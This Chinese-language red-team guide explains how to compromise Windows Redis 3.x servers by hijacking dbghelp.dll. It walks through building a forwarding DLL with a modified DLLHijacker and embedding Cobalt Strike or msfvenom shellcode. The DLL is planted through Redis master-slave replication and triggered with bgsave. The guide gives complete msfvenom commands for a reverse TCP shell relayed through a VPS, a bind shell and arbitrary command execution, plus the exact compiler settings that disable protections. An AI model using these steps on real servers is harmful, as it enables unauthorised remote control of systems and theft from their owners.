Windows Redis DLL劫持在实战中的利用
字数 2110 2025-08-04 08:17:24
Windows Redis DLL劫持实战利用指南
1. 前言
在红队项目中,经常会遇到Windows服务器上运行的Redis服务(主要是3.0.504和3.2.100版本)。这些版本由于缺乏模块加载功能,传统的利用方法受限。本文详细介绍通过DLL劫持技术稳定利用Redis服务的方法。
为什么选择DLL劫持
- 3.x版本Redis没有模块加载功能
- 微软官方Redis最高只到3.2.100和3.0.504
- 其他利用方法(Webshell、启动项等)需要高权限或依赖运气
- DLL劫持对权限无要求,不会破坏原有服务
2. 漏洞原理
2.1 DLL劫持简介
DLL:Windows的动态链接库,包含可被多个程序共享的代码和数据。
DLL劫持:当程序没有指定DLL的绝对路径时,会按特定顺序查找DLL,攻击者可在优先级更高的目录放置恶意DLL。
标准DLL查找顺序:
- 应用程序目录
- Windows系统目录(C:\Windows\System32)
- 16位系统目录(C:\Windows\SysWOW64)
- Windows根目录(C:\Windows)
- 当前工作目录
- 系统环境变量PATH指定的路径
2.2 劫持dbghelp.dll
redis-server.exe在执行bgsave命令时:
- 先在应用目录查找
dbghelp.dll - 找不到再去
system32目录查找
无论Redis以何种权限运行(Administrator、普通用户或Network Service),对自己的应用目录都有写权限,可通过Redis主从复制写入恶意DLL。
2.3 函数转发劫持
关键点:
- 需要导出原DLL的函数和地址
- 保证程序通过恶意DLL调用函数时不影响正常功能
- 使用工具自动化处理导出函数
工具选择:修改版的DLLHijacker(https://github.com/P4r4d1se/dll_hijack)
原工具问题及修复:
- VS项目中文乱码:添加
encoding="utf-8" - 匿名函数导致错误:添加函数名非空判断
- 未使用目标DLL绝对路径:自动填充目标DLL路径
错误现象:
- 只调用恶意DLL,不调用原DLL
- Redis功能受影响
- 只能劫持一次
- Redis关闭后无法启动
3. 漏洞利用
3.1 工具使用
准备工具:
- 下载修改版DLLHijacker:https://github.com/P4r4d1se/dll_hijack
- 安装VS2022(勾选"C++桌面开发")
生成项目:
python3 DLLHijacker.py C:\Windows\System32\dbghelp.dll
项目配置:
- 打开生成的
.sln文件 - 在
dllmain.cpp中修改shellcode - 配置属性修改:
- 运行库:Release配置设为"多线程 (/MT)",Debug配置设为"多线程调试 (/MTd)"
- 禁用安全检查:/GS-
- 关闭生成清单:/MANIFEST:NO
3.2 出网情况 - Cobalt Strike
步骤:
- CS生成C语言payload
- 替换
dllmain.cpp中的payload - 选择Release x64编译
- 使用RabR工具(https://github.com/0671/RabR)通过主从复制写入
dbghelp.dll - 执行
bgsave命令触发
优点:
- 稳定上线
- 操作简便
3.3 不出网情况 - Metasploit
3.3.1 反向shell
场景:Redis主机不出网,但能连通其他出网主机
步骤:
- 生成payload:
msfvenom -p windows/x64/meterpreter/reverse_tcp_rc4 RC4PASSWORD=redis LHOST=内网LinuxIP LPORT=4444 -f c - Linux主机端口转发:
./nb -tran 4444 VPS_IP:8090 - 使用frp将msf攻击机的4444端口映射到VPS的8090
- MSF启动监听
- 编译DLL+主从复制写入+触发
3.3.2 正向shell
步骤:
- 生成payload:
msfvenom -p windows/x64/meterpreter/bind_tcp_rc4 LPORT=11111 RC4PASSWORD=redis -f c - 编译DLL+主从复制写入+触发
- MSF正向连接
注意:Windows防火墙可能默认阻止入站连接
3.3.3 exec命令执行
步骤:
- 生成命令执行payload:
msfvenom -p windows/x64/exec CMD="命令" -f c - 编译DLL+主从复制写入+触发
特点:
- 每次执行需重新生成payload
- 适合盲打场景
4. 参考工具
- 修改版DLLHijacker:https://github.com/P4r4d1se/dll_hijack
- 原版DLLHijacker:https://github.com/kiwings/DLLHijacker
- Redis主从复制工具:https://github.com/0671/RabR
- NAT穿透工具:https://github.com/cw1997/NATBypass
- 相关技术文章:https://kiwings.github.io/2019/04/04/th-DLL%E5%8A%AB%E6%8C%81/
关键总结
- 确保使用目标DLL的绝对路径进行函数转发
- 正确配置VS项目属性(运行库、安全检查等)
- 根据网络环境选择合适的利用方式
- 使用RabR工具可自动备份恢复Redis数据
- 注意Windows防火墙对正向shell的影响
通过这种方法,可以稳定利用Windows Redis服务,不受权限限制,且不影响原有服务正常运行。